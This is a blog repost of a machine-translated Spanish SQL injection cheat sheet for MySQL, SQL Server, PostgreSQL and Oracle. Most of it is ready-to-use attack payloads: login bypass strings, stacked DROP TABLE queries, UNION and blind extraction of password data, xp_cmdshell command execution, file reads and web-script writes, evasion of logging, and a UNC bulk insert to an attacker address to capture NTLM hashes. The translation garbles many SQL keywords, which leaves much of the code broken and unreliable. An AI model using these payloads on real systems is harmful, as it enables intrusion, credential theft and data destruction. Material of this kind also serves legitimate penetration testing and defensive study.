Saludos Mundo Libre.
Encontrar y explotar las inyecciones SQL, inclusión de archivos locales, XSS y muchos otros temas con escáner Netsparker seguridad de aplicaciones Web
SQL Injection Cheat Sheet, Versión del documento 1.4
Acerca de Hoja de SQL Injection Cheat
En la actualidad sólo para MySQL y Microsoft SQL Server, Oracle y PostgreSQL algunos algunos. La mayoría de las muestras no son los adecuados para cada situación. La mayoría de los entornos del mundo real pueden cambiar debido a paréntesis, las diferentes bases de código y frases inesperadas, extraños SQL.
Los ejemplos se proporcionan para permitir que lector puede tener la idea básica de un posible ataque y casi cada sección incluye una breve información sobre sí mismo.
M: MySQLS: SQL ServerP: PostgreSQLO: Oracle+: Es posible que todas las otras bases de datosEjemplos;
(MS) significa: MySQL y SQL Server, etc(M * S) significa: sólo en algunas versiones de MySQL o condiciones especiales ver nota relacionada y SQL Server
Tabla de contenidos
Acerca de Hoja de SQL Injection CheatReferencia de sintaxis, las crisis de la muestra y sucios trucos de inyección SQL
Comentarios de línea
SQL Injection muestras de ataque
Comentarios en línea
Opina en línea clásica de inyección SQL muestras de ataqueMySQL versión ataques de detección de la muestra
Apilamiento de las consultas
Lenguaje / base de datos la tabla de consultas de soporte apiladas
Acerca de MySQL y PHP
Las muestras apiladas SQL Injection ataque
Si EstadosSi MySQL DeclaraciónSi SQL Server DeclaraciónSi las muestras de sentencias SQL ataque de inyección deUtilizando números enterosOperaciones con cadenasConcatenación de cadenasCadenas sin comillasHexagonal basado en SQL muestras de inyecciónCadena de modificación y relacionados
Las inyecciones de la Unión
UNION - Fijación Problemas con el idiomaPantallas de Registro sin pasar por Xp_cmdshell que permite en SQL Server 2005
Otras partes no están tan bien formateado, pero echa un vistazo por su cuenta, borradores, notas y otras cosas, desplácese hacia abajo y ver.
Referencia de sintaxis, las crisis de la muestra y sucios trucos de inyección SQLTerminar / comentando Comentarios / LíneaComentarios de línea
Comentarios a cabo el resto de la consulta.Los comentarios de la línea son generalmente útiles para ignorar el resto de la consulta por lo que no tienen que lidiar con la fijación de la sintaxis.
- (SM)GOTA SampleTable; -
# (M)GOTA SampleTable; #Ejemplo de línea de comentarios SQL Injection Attacks
Nombre de usuario: admin' -SELECT * FROM miembros WHERE admin' - "nombre de usuario y contraseña = = 'password'Esto va a iniciar la sesión como usuario administrador, ya que el resto de la consulta SQL se tendrá en cuenta.Comentarios en línea
Comentarios a cabo el resto de la consulta al no cierre o que puede utilizar para pasar por las listas negras, la eliminación de espacios, ofuscación y la determinación de las versiones de bases de datos.
/ * Comentario Aquí * / (SM)DROP / * comentario * / SampleTableDR / ** / OP / * lista negra de bypass * / SampleTableSELECT / * evitar los espacios * / password / ** / FROM / ** / Miembros
/ *! MYSQL especiales SQL * / (M)Esta es una sintaxis de comentario especial para MySQL. Es perfecto para la detección de versión de MySQL. Si usted pone un código en este comentario que va a ejecutar en MySQL solamente. También se puede usar esto para ejecutar código sólo si el servidor es más alto que la versión suministrada.
SELECT / *! 32302 1 / 0, * / 1 FROM nombretablaOpina en línea clásica de inyección SQL muestras de ataque
ID: 10; miembros DROP TABLE / *Simplemente deshacerse de otras cosas, al final de la consulta.Lo mismo que 10, los miembros de DROP TABLE -
SELECT / *! 32302 1 / 0, * / 1 FROM nombretablaLanzará una división por 0 error si la versión de MySQL es mayor que 03/23/02MySQL versión ataques de detección de la muestra
Identificación: / * 32302 * 10 /!ID: 10Usted obtendrá la misma respuesta si la versión de MySQL es mayor que 03/23/02
SELECT / *! 32302 1 / 0, * / 1 FROM nombretablaLanzará una división por 0 error si la versión de MySQL es mayor que 03/23/02Apilamiento de las consultasLa ejecución de más de una consulta en una sola transacción.Esto es muy útil en cada punto de inyección, sobre todo en SQL Server de nuevo terminó aplicaciones.
, (S)SELECT * FROM miembros, los miembros GOTA -Finaliza una consulta y comienza uno nuevo.
Lenguaje / base de datos la tabla de consultas de soporte apiladas
verde: el apoyo, gris oscuro: no se admite, de color gris claro: desconocido
SQL Server MySQL PostgreSQL Oracle MS AccessASPASP.NETPHPJava
Acerca de MySQL y PHP;
Para aclarar algunas cuestiones;PHP - MySQL no admite consultas apilados, Java no admite consultas apilados (estoy seguro de Oracle, no muy seguro de otras bases de datos). Normalmente MySQL soporta la consulta apilados, pero debido a la capa de base de datos en la mayoría de las configuraciones que no es posible ejecutar la segunda consulta en PHP-MySQL aplicaciones de cliente de MySQL o tal vez lo admite, no está muy seguro. ¿Alguien puede aclarar este punto?
Las muestras apiladas SQL Injection ataque
ID: 10; miembros GOTA -SELECT * FROM productos WHERE id = 10; miembros GOTA -Esto ejecutará miembros GOTA sentencia SQL después de lo normal de consultas SQL.
Si EstadosObtener una respuesta sobre la base de una sentencia if. Este es uno de los puntos clave de Blind SQL Injection, también puede ser muy útil para probar cosas simples a ciegas y con precisión.
Si MySQL Declaración
SI (condición, verdadero parte, los falsos parte) (M)SELECT IF (1 = 1, 'true', 'false')Si SQL Server Declaración
SI verdadero estado-parte ELSE falsos parte (S)IF (1 = 1) SELECT 'true' bien, seleccione 'falso'Si las muestras de sentencias SQL ataque de inyección de
if ((seleccione el usuario) = 'sa' O (seleccione el usuario) = 'dbo') seleccionar una persona selecciona 1 / 0 (S)Esto generará una división por cero error si el usuario inició la sesión actual no es "sa" o "dbo".
Utilizando números enterosMuy útil para pasar por alto, magic_quotes () y filtros similares, o incluso FAT.
0xHEXNUMBER (SM)Usted puede escribir hexadecimal como estos;
SELECCIONAR CHAR (0x66) (S)SELECCIONAR 0x5045 (este no es un entero que será una cadena de hexadecimal) (M)SELECCIONAR 0x50 + 0x45 (esto es entero ahora!) (M)Operaciones con cadenasCadena de operaciones relacionadas. Estos pueden ser muy útiles para construir las inyecciones que no están utilizando las comillas, anular cualquier lista de otro negro o determinar de nuevo la base de datos final.
Concatenación de cadenas
+ (S)Seleccione Inicio de sesión + '-' + contraseña de los miembros
| | (* MO)Seleccione Inicio de sesión | | '-' | | contraseña de los miembros* Acerca de MySQL "||";Si MySQL se ejecuta en modo ANSI es ir a trabajar pero por lo demás lo aceptan como MySQL `operador lógico 'que va a devolver 0. Mejor manera de hacerlo es usando CONCAT () en MySQL.
CONCAT (str1, str2, str3, ...) (M)Concatenar cadenas proporcionadas.SELECT CONCAT (nombre de usuario, contraseña) de los miembrosCadenas sin comillasEstas son algunas maneras directas al uso de cadenas, pero siempre es posible el uso de CHAR () (MS) y CONCAT () (M) para generar cadena sin comillas.
0x457578 (M) - La representación hexadecimal de la cadenaSELECCIONAR 0x457578Este será seleccionado como cadena en MySQL.
En el camino de MySQL fácil de generar representaciones hexadecimales de las cadenas de utilizar este;SELECT CONCAT ('0 x ', HEX (' c: \ \ boot.ini '))
Utilizando CONCAT () en MySQLSELECT CONCAT (CHAR (75), CHAR (76), CHAR (77)) (M)Esto devolverá 'KLM'.
SELECCIONAR CHAR (75) + Char (76) + Char (77) (S)Esto devolverá 'KLM'.Hexagonal basado en SQL muestras de inyección
LOAD_FILE SELECT (0x633A5C626F6F742E696E69) (M)Esto le mostrará el contenido de c: \ boot.iniCadena de modificación y relacionadosASCII () (SMP)Devuelve el valor ASCII del carácter de la izquierda. A debe tener la función de Ciegos inyecciones SQL.
Seleccione ASCII ('a')
CHAR () (SM)Convertir un número entero de ASCII.
SELECCIONAR CHAR (64)Las inyecciones de la UniónCon el sindicato que hacer consultas SQL de tablas cruzadas.Básicamente se puede envenenar a consulta para que devuelva los registros de otra tabla.
Seleccione Encabezado, TXT desde noticias UNION ALL SELECT nombre, pasar de los miembrosEsto se combinan los resultados de la mesa de noticias y los miembros de la mesa y volver todos ellos.
Otro ejemplo:"UNION SELECT 1", anotheruser ',' no importa ', 1 -
UNION - Fijación Problemas con el idiomaMientras que la explotación de las inyecciones de la Unión a veces se producen errores debido a la configuración de idioma diferente (ajustes de la tabla, la configuración de campo, tabla combinada / db ajustes etc), estas funciones son muy útiles para solucionar este problema. Es raro, pero si se trata de Japón, las aplicaciones de Rusia, Turquía, etc, entonces lo verá.
SQL Server (S)Uso en el campo COLLATE SQL_Latin1_General_Cp1254_CS_AS o alguna otra válida - echa un vistazo a la documentación de SQL Server.
SELECCIONAR cabezazo de noticias UNION ALL SELECT nombre FROM miembros SQL_Latin1_General_Cp1254_CS_AS COLLATE
MySQL (M)Hex () de todos los temas posiblesEvitando Pantallas de Registro (SMO +)Inyección de SQL 101, trucos Loginadmin '-admin '#/ admin '*'OR 1 = 1 -'OR 1 = 1 #'OR 1 = 1 / *") O '1 '= '1 -") O ('1 '= '1 -....Ingresar como usuario diferente (SM *)"UNION SELECT 1", anotheruser ',' no importa ', 1 -* Las versiones de MySQL no es compatible con las consultas de unión
Sin pasar por las pantallas de hash MD5 segunda sesión de verificaciónSi la solicitud es primero obtener el registro de nombre de usuario y luego comparar volvió MD5 con la contraseña proporcionada MD5 entonces usted necesita algunos trucos adicionales para engañar a la aplicación para eludir la autenticación. Puede resultados unión con una contraseña conocida y hash MD5 de la contraseña proporcionada. En este caso, la aplicación se compara su contraseña y su valor hash MD5 suministrada en lugar de MD5 de base de datos.
Sin pasar por ejemplo MD5 comprobar que Hash (MSP)
Nombre de usuario: adminContraseña: 1234 'and 1 = 0 UNION ALL SELECT' admin ', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5 (1234)
Error base - Buscar columnas NombresEncontrar los nombres de columna con HABIENDO POR - Error de la base (S)
En el mismo orden,
'HAVING 1 = 1 -'GROUP BY table.columnfromerror1 HAVING 1 = 1 -'GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1 = 1 -'GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror (n) HAVING 1 = 1 - y así sucesivamenteSi usted no está recibiendo ningún error más que se hace.Encontrar el número de columnas en la consulta SELECT ORDER BY (MSO +)
Encontrar el número de columna por ORDER BY puede acelerar el proceso de la Unión de inyección SQL.
ORDER BY 1 -ORDER BY 2 -ORDER BY N - etcSeguir adelante hasta obtener un error. Error significa que usted encuentra el número de columnas seleccionadas.Tipos de datos, sindicato, etcConsejos,
Siempre use unión con todos, porque la imagen de similares tipos de campo no distintos. Por defecto sindicato trata de obtener registros con distintos.Para deshacerse de los registros no se necesiten del uso de tabla de la izquierda -1 o no existen registros de búsqueda en el inicio de la consulta (si la inyección es en donde). Esto puede ser crítico si usted está consiguiendo solamente un resultado a la vez.Utilice NULL en UNION inyecciones para la mayoría de tipo de datos en lugar de tratar de adivinar cadena, fecha, etc enteroTenga cuidado en situtaions ciego puede usted pueda comprender el error proviene de DB o la propia aplicación.Porque las lenguas en general, como ASP.NET genera errores al tratar de usar valores NULL (ya que normalmente los desarrolladores no están esperando a ver NULL en un campo de nombre de usuario)Encontrar Tipo de columna
'Union select sum (columntofind) de los usuarios - (S)Microsoft OLE DB Provider for ODBC Drivers error '80040e07 '[Microsoft] [ODBC SQL Server Driver] [SQL Server] La suma u operación global promedio no puede tener un tipo de datos varchar como un argumento.
Si usted no está recibiendo el error que significa la columna es numérica.
También se puede usar CAST () y CONVERT ()SELECT * FROM Tabla1 WHERE id = -1 UNION ALL SELECT NULL, NULL, NULL, NULL, convertir (imagen 1), nulo, nulo, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL -
11223344) UNION SELECT NULL, NULL, NULL, NULL, donde 1 = 2 -No hay error - La sintaxis es correcta. MS SQL Server utiliza. De proceder.
11223344) UNION SELECT 1, NULL, NULL, NULL, donde 1 = 2 -No hay error - La primera columna es un número entero.
11223344) UNION SELECT 1,2, NULL, NULL, donde 1 = 2 -¡Error! - La segunda columna no es un entero.
11223344) UNION SELECT 1, '2 ', NULL, NULL, donde 1 = 2 -No hay error - La segunda columna es una cadena.
11223344) UNION SELECT 1, 2 ", 3, NULL, donde 1 = 2 -¡Error! - La tercera columna no es un entero. ...
Microsoft OLE DB Provider for SQL Server error '80040e07 'La conversión explícita de tipo de datos int a la imagen no está permitido.Obtendrá convert () errores antes de los errores de objetivo de la Unión! Así que empieza con convert () entonces la unión
Inserte simple (MSO +); Los usuarios insertar en los valores (1, 'hax0r', 'coolpass, 9) / *Útiles funciones / Recopilación de información / Procedimientos almacenados / Notas de inyección de SQL a granel@ @ Version (MS)Versión de la base de datos y más detalles para SQL Server. Es una constante. Usted sólo se puede seleccionar como cualquier otra columna, no es necesario proporcionar el nombre de tabla.También puede utilizar insertar, actualizar o declaraciones en las funciones.
INSERT INTO miembros (id, usuario, pass) VALUES (1,''+ SUBSTRING (@ @ version, 1,10), 10)
Inserción masiva (S)
Insertar un archivo de contenido a una tabla. Si usted no sabe camino interno de la aplicación web se puede leer IIS (IIS 6 solamente) archivo de la metabase (% systemroot% \ system32 \ inetsrv \ MetaBase.xml) y luego buscar en ella a identificar problemas de aplicación.
Crear una tabla foo (línea varchar (8000))inserción masiva de foo 'c: \ inetpub \ wwwroot \ login.asp'Caída de la tabla temporal, y repetir a otro archivo.BCP (S)
Escribir archivo de texto. Credenciales de conexión están obligados a utilizar esta función.bcp "SELECT * FROM prueba .. foo" queryout c: \ inetpub \ wwwroot \ runcommand.asp-c-Slocalhost-Usa-Pfoobar
VBS, WSH en SQL Server (S)
Puede utilizar VBS, WSH scripts de SQL Server debido al apoyo de ActiveX.
declare @ o int"WScript.Shell" sp_oacreate ejecutivo, @ o fueraejecutivo sp_OAMethod @ o, 'run', NULL, 'notepad.exe'Nombre de usuario: '; o int declare @ sp_oacreate exec' WScript.Shell ', @ o fuera ejecutivo de sp_OAMethod @ o,' run ', NULL,' notepad.exe '-
Ejecución de comandos del sistema, xp_cmdshell (S)
Bien conocido truco, por defecto está desactivada en SQL Server 2005. Usted necesita tener acceso de administrador.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Comprobación de ping simple (configurar el firewall o sniffer para identificar solicitud antes de lanzarlo),
'Ping' EXEC master.dbo.xp_cmdshell
Usted no puede leer el resultado directo de error o una unión o algo más.
Algunas mesas especiales en SQL Server (S)
Mensajes de errormaster .. sysmessages
Servidores vinculadosmaster .. sysservers
Contraseña (2000 y 20005, tanto puede ser manipulable, que utilizan un algoritmo de hash muy similar)SQL Server 2000: amos .. sysxloginsSQL Server 2005: sys.sql_loginsMás procedimientos almacenados de SQL Server (S)
Comando Ejecutar (xp_cmdshell)ejecutivo principal .. xp_cmdshell 'dir'
Cosas del Registro (xp_regread)xp_regaddmultistringxp_regdeletekeyxp_regdeletevaluexp_regenumkeysxp_regenumvaluesxp_regreadxp_regremovemultistringxp_regwriteejecutivo xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parameters", "NullSessionShares 'ejecutivo xp_regenumvalues HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ SNMP \ Parameters \ validcommunities '
Servicios de Gestión (xp_servicecontrol)Medios de comunicación (xp_availablemedia)ODBC Recursos (xp_enumdsn)El modo de inicio de sesión (xp_loginconfig)Creación de archivos Cab (xp_makecab)Enumeración de dominio (xp_ntsec_enumdomains)Proceso de matanza (necesidad PID) (xp_terminate_process)Añadir nuevo procedimiento (prácticamente se puede ejecutar lo que quieras)"xp_webserver 'sp_addextendedproc," c: \ temp \ x.dll'ejecutivo xp_webserverEscribir archivo de texto a un UNC o una ruta interna (sp_makewebtask)Notas de MSSQL a granel
SELECT * FROM maestro .. sysprocesses / * DONDE spid = @ @ SPID * /
DECLARE @ int resultado; EXEC @ result = xp_cmdshell 'dir *. exe' if (@ result = 0) SELECT 0 ELSE SELECT 1 / 0
HOST_NAME ()IS_MEMBER (Transact-SQL)IS_SRVROLEMEMBER (Transact-SQL)OPENDATASOURCE (Transact-SQL)
INSERTAR TBL EXEC master .. xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
No se puede utilizar sub selecciona en las consultas SQL Insert Server.
SQL Injection en el límite (M) u orden (MSO)
SELECT id, producto de test.test LÍMITE t 0,0 UNION ALL SELECT 1, 'x' / *, 10;
Si la inyección es en el segundo límite se puede comentar o uso de la inyección de la Unión
Cierre de SQL Server (S)
Cuando realmente cabreado, '; cierre -
Xp_cmdshell que permite en SQL Server 2005Por xp_cmdshell por defecto y un par de otros procedimientos almacenados potencialmente peligrosos están deshabilitadas en SQL Server 2005. Si usted tiene acceso a la administración se puede habilitar estos.
EXEC sp_configure 'show advanced options', 1RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1RECONFIGURE
Encontrar la estructura de base de datos en SQL Server (S)Obtención de las tablas definidas por el usuario
Seleccione el nombre desde sysobjects donde xtype = 'U'
Obtener los nombres de columna
Seleccione el nombre desde syscolumns WHERE id = (SELECT id de sysobjects WHERE nombre = 'tablenameforcolumnnames')
Registros de movimiento (S)Modificar cuando y uso que no o no existir,... Donde los usuarios no IN ("primer usuario", "segundo usuario")SELECT TOP 1 nombre FROM miembros DONDE NO EXISTE (SELECT TOP 0 nombre de los miembros) - una muy buena
Utilizando trucos suciosSELECT * FROM Productos WHERE ID = 2 y 1 = CAST ((Seleccionar p.name de (SELECT (SELECT COUNT (i.id) COMO deshacerse de sysobjects i DONDE i.id <= o.id) como X, el nombre de sysobjects o) como p, donde px = 3) como int
Seleccione p.name de (SELECT (SELECT COUNT (i.id) COMO deshacerse de sysobjects i DONDE xtype = 'U' y i.id <= o.id) como X, el nombre de sysobjects o DONDE o.xtype = 'U ") como p, donde px = 21
Manera rápida de extraer los datos de error basado inyecciones SQL en SQL Server (S)'; BEGIN DECLARE @ rt varchar (8000) SET @ rd =': 'SELECT @ rd = @ rd +' '+ nombre DE syscolumns WHERE id = (SELECT id de sysobjects WHERE nombre = "miembros") y el nombre> @ rd Seleccionar @ r como tercera en el extremo TMP_SYS_TMP; -
Detallada del artículo: Una manera rápida para extraer datos de error de base de inyecciones SQL
Blind SQL inyeccionesAcerca de Ciegos inyecciones SQLEn una aplicación de producción bastante buena en general, usted no puede ver las respuestas de error en la página, por lo que no puede extraer los datos a través de ataques de la Unión o de los ataques basados en errores. Que tiene que hacer uso de inyecciones SQL a ciegas ataques para extraer los datos.Hay dos tipos de Ciegos inyecciones SQL.
Ciegos normales, no se puede ver una respuesta en la página, pero todavía se puede determinar el resultado de una consulta de la respuesta o el código de estado HTTPTotalmente ciegos, no veo ninguna diferencia en la salida de ningún tipo. Esto puede ser una inyección de una función de registro o similar. No tan común, aunque.
En las persianas normales se puede utilizar si las declaraciones o abuso cuando la consulta en la inyección (generalmente más fácil), en total persianas que necesita para utilizar algunas funciones de espera y analizar los tiempos de respuesta. Para ello se puede utilizar ESPERAR POR EL RETRASO '0: 0:10 'en SQL Server, BENCHMARK () en MySQL, pg_sleep (10) en PostgreSQL, y algunos de PL / SQL trucos en ORACLE.
Real y un poco de muestras complejas de ataque Blind SQL Injection
Esta salida se toma de una verdadera herramienta privado Blind SQL Injection, mientras que la explotación de SQL Server de nuevo terminó nombres de las aplicaciones y la enumeración de la tabla. Este hecho solicitudes para primer carácter del nombre de la primera tabla. SQL un poco más complejo entonces el requisito por razones de automatización. En que estamos tratando de determinar un valor ASCII de un carácter a través de algoritmo de búsqueda binaria.
Consultas banderas TRUE y FALSE marca regresó verdadero o falso.
VERDADERO: SELECT id, nombre de usuario, correo electrónico de [usuario] WHERE id = 1 Y ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 nombre de sysobjects DONDE NO xtype = 0x55 Y el nombre de IN (SELECT TOP 0 nombre de sysobjects DONDE xtype = 0x55) ), 1,1)), 0)> 78 -
FALSO: SELECT id, nombre de usuario, correo electrónico de [usuario] WHERE id = 1 Y ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 nombre de sysobjects DONDE xtype = 0x55 y el nombre no IN (SELECT TOP 0 nombre de sysobjects DONDE xtype = 0x55) ), 1,1)), 0)> 103 -
VERDADERO: SELECT id, nombre de usuario, correo electrónico de [usuario] WHERE id = 1 Y ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 nombre de sysobjects DONDE NO xtype = 0x55 Y el nombre de IN (SELECT TOP 0 nombre de sysobjects DONDE xtype = 0x55) ), 1,1)), 0) <103 -
FALSO: SELECT id, nombre de usuario, correo electrónico de [usuario] WHERE id = 1 Y ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 nombre de sysobjects DONDE xtype = 0x55 y el nombre no IN (SELECT TOP 0 nombre de sysobjects DONDE xtype = 0x55) ), 1,1)), 0)> 89 -
VERDADERO: SELECT id, nombre de usuario, correo electrónico de [usuario] WHERE id = 1 Y ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 nombre de sysobjects DONDE NO xtype = 0x55 Y el nombre de IN (SELECT TOP 0 nombre de sysobjects DONDE xtype = 0x55) ), 1,1)), 0) <89 -
FALSO: SELECT id, nombre de usuario, correo electrónico de [usuario] WHERE id = 1 Y ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 nombre de sysobjects DONDE xtype = 0x55 y el nombre no IN (SELECT TOP 0 nombre de sysobjects DONDE xtype = 0x55) ), 1,1)), 0)> 83 -
VERDADERO: SELECT id, nombre de usuario, correo electrónico de [usuario] WHERE id = 1 Y ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 nombre de sysobjects DONDE NO xtype = 0x55 Y el nombre de IN (SELECT TOP 0 nombre de sysobjects DONDE xtype = 0x55) ), 1,1)), 0) <83 -
FALSO: SELECT id, nombre de usuario, correo electrónico de [usuario] WHERE id = 1 Y ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 nombre de sysobjects DONDE xtype = 0x55 y el nombre no IN (SELECT TOP 0 nombre de sysobjects DONDE xtype = 0x55) ), 1,1)), 0)> 80 -
FALSO: SELECT id, nombre de usuario, correo electrónico de [usuario] WHERE id = 1 Y ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 nombre de sysobjects DONDE xtype = 0x55 y el nombre no IN (SELECT TOP 0 nombre de sysobjects DONDE xtype = 0x55) ), 1,1)), 0) <80 -
Ya que tanto de las últimas dos consultas no sabemos claramente nombre de la tabla de caracteres ascii primer valor es 80, que significa, en primer carácter es 'P'. Esta es la manera de explotar Ciegos inyecciones SQL por el algoritmo de búsqueda binaria. Otra manera conocida es la lectura de los datos poco a poco. Ambos pueden ser eficaces en diferentes condiciones.
Esperando Ciegos inyecciones SQLEn primer lugar utilizar este si es realmente ciego, de lo contrario sólo tiene que utilizar los errores de 1 / 0 de estilo para identificar la diferencia. En segundo lugar, tenga cuidado al utilizar tiempos de más de 20-30 segundos. base de datos de conexión de la API o script puede ser tiempo de espera.
ESPERAR "tiempo" DELAY (S)
Esto es como el sueño, esperar que el tiempo spesified. CPU manera segura de hacer esperar a la base de datos.
WAITFOR DELAY '0: 0:10 -
También puede usar las fracciones de este tipo,
WAITFOR DELAY '0: 0:0.51 '
Las muestras del mundo real
¿Somos 'sa'?if (usuario elija) = 'sa' waitfor retraso '0: 0:10 'ProductID = 1; waitfor delay '0: 0:10 -ProductID = 1); waitfor delay '0: 0:10 -ProductID = 1 '; waitfor delay '0: 0:10 -ProductID = 1 '); waitfor delay '0: 0:10 -ProductID = 1)); waitfor retraso '0: 0:10 -ProductID = 1 ')); waitfor delay '0: 0:10 -BENCHMARK () (M)
Básicamente estamos abusando de este comando para MySQL esperar un poco. Tenga cuidado de que se consumen los servidores web límite tan rápido!
BENCHMARK (howmanytimes, hacer esto)
Las muestras del mundo real
¿Somos la raíz? woot!IF EXISTS (SELECT * FROM usuarios WHERE usuario = 'root') BENCHMARK (1000000000, MD5 (1))
Compruebe la tabla existen en MySQLIF (SELECT * FROM login) BENCHMARK (1000000, MD5 (1))pg_sleep (segundos) (P)
Dormir por segundo suministrados.
SELECCIONAR pg_sleep (10);El sueño de 10 segundos.Cubriendo temasSQL Server sp_password registro de by-pass (S)
SQL Server no inicia las consultas que incluye sp_password por razones de seguridad (!). Así que si usted agrega - sp_password a sus preguntas, no será en los registros de SQL Server (por supuesto, seguirá siendo en los registros del servidor web, trate de usar POST si es posible)
Claras pruebas de inyección SQLEstas pruebas son sólo buenos para ciegos ataques de inyección SQL y en silencio.
product.asp? id = 4 (SMO)product.asp? id = 1.5product.asp? id = 4 OR 1 = 1
product.asp? name = Libroproduct.asp? name = Bo '% 2b'ok? product.asp name = Bo '| |' ok (OM)product.asp? name = Book 'o' X '=' xAlgunas notas adicionales MySQLConsultas Sub están trabajando sólo MySQL 4.1 +Los usuariosSeleccionar usuario, la contraseña de mysql.user;SELECCIONAR 1,1 UNION SELECT IF (SUBSTRING (contraseña, 1,1) = 2 ", punto de referencia (100000, SHA1 (1)), 0) del usuario, la contraseña de mysql.user WHERE user = 'root';SELECT ... EN DUMPFILEEscribir consulta en un archivo nuevo (no se pueden modificar los archivos existentes)UDF funcióncrear LockWorkStation función devuelve entero soname 'user32';seleccione LockWorkStation ();crear la función ExitProcess devuelve 'kernel32' soname entero;seleccione ExitProcess ();SELECCIONAR USER ();Seleccione Contraseña, USER () DE mysql.user;Primer byte del hash de adminSELECCIONAR SUBSTRING (user_password, 1,1) DE DONDE mb_users grupo_usuario = 1;Leer archivo
Carga de datos MySQL inifilePor defecto no está disponible!create table foo (línea blob);carga "c: / boot.ini" DATA INFILE en la tabla foo;SELECT * FROM foo;El tiempo más en MySQLseleccionar de referencia (500000, sha1 ('test'));query.php? user = 1 + + seleccione la unión de referencia + (500000, sha1 (0x414141)), 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1seleccionar si (usuario () como 'root @%', punto de referencia (100000, sha1 ('test')), 'false');Datos de enumeración, adivinó la fuerza brutaseleccione if ((ascii (substring (user (), 1,1))>> 7) y 1, punto de referencia (100000, sha1 ('test')), 'false');Potencialmente útiles Funciones MySQL
MD5 ()Hash MD5SHA1 ()SHA1 hash
PASSWORD ()ENCODE ()Compress ()Comprimir los datos, puede ser grande en la lectura binario grande en Ciego Inyecciones SQL.ROW_COUNT ()SCHEMA ()VERSION ()Igual que la versión de @ @Segundo Orden inyecciones SQLBásicamente, se pone una inyección de SQL a un lugar y esperar que la filtrada en otra acción. Este es un problema común de la capa oculta.
Nombre: "+ (SELECT TOP 1 de contraseña de los usuarios) + 'Correo electrónico: xx@xx.com
Si la aplicación está utilizando el nombre de campo en un procedimiento peligroso almacenado o la función, procesos, etc, entonces se inserta contraseña de los usuarios por primera vez como su nombre, etc
Obligando a SQL Server para obtener los hashes NTLMEste ataque puede ayudarle a obtener la contraseña de usuario de SQL Server de Windows del servidor de destino, pero es posible que la conexión de entrada será un cortafuegos. Puede ser muy útil para las pruebas internas de penetración. Obligamos a SQL Server para conectar nuestro recurso compartido de Windows UNC y la captura de sesión de NTLM de datos con una herramienta como Caín y Abel.
Inserción masiva de un recurso compartido UNC (S)inserción masiva de foo '\ \ YOURIPADDRESS \ C $ \ x.txt'
Echa un vistazo a inserción masiva de referencia para entender cómo se puede utilizar inserción masiva.
ReferenciasDado que estas notas recogidas de diversas fuentes dentro de varios años y las experiencias personales, puede que me perdí algunas referencias. Si usted cree que me perdí el tuyo o de alguien más, entonces envíame un e-mail (ferruh-en-mavituna.com), voy a actualizar tan pronto como sea posible.
Muchas CosasAvanzada de inyección SQL en aplicaciones de SQL, Chris AnleyMás avanzada de inyección SQL en aplicaciones de SQL, Chris AnleyInyección de SQL con los ojos vendados, Ofer Maor - Amichai ShulmanHackproofing MySQL, Chris AnleyHacker base de datos manual, David Litchfield, Chris Anley, John Heasman, Bill GrindlayEquipo de arriba!
MSSQL relacionadosMSSQL Operadores - http://msdn2.microsoft.com/en-us/library/aa276846 (SQL.80) aspx.Transact-SQL - http://msdn2.microsoft.com/en-us/library/aa299742 (SQL.80) aspx.Funciones de cadena (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms181984.aspxLista de nombres de servidores MSSQL Clasificación - http://msdn2.microsoft.com/en-us/library/ms180175.aspxMSSQL Server 2005 Acceso de la Información y otras funciones: Sumit Siddharth
MySQL relacionadosComentarios: http://dev.mysql.com/doc/Flujos de Control - http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.htmlMySQL Gotchas - http://sql-info.de/mysql/gotchas.htmNuevo concepto de SQL Injection, Tonu SamuelRegistro de cambios15/03/2007 - Public v1.0 lanzamiento16/03/2007 - v1.1Enlaces para añadir algunas referencias de papel y libroMuestra colación añadidoAlgunos errores tipográficos fijosEstilos y formato mejoradoNueva versión de MySQL y muestras comentarioPostgreSQL Añadido a ASCII y leyendas, pg_sleep () añade la sección de ciegosBlind SQL Injection y la sección de mejoras, nuevas muestrasDocumento de referencia para añadir comentarios MySQL21/03/2007 - v1.2BENCHMARK () de la muestra cambia a evitar que la gente de denegación de sus servidores MySQLMás de formato y TyposDescripciones de algunas funciones de MySQL30/03/2007 v1.3Niko señaló PotsgreSQL PHP y compatible con las consultas apiladosSin pasar por segunda sesión MD5 ver las pantallas de la descripción y el ataque añadidoMarcos llegó con la extracción de idea sesión NTLM, añadióLa explotación detallada Blind SQL añadido13/04/2007 v1.4 - ComunicadoSQL Server 2005 que permite xp_cmdshell añadido (truco aprendido de marca)Versión japonesa de la Hoja de SQL Injection Cheat liberado (v1.1)Encontrar y explotar las inyecciones SQL con escáner de seguridad libre de aplicaciones Web
Fuente: http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
Traduccion: Dellcom1@
Saludos Mundo Libre.
No hay comentarios:
Publicar un comentario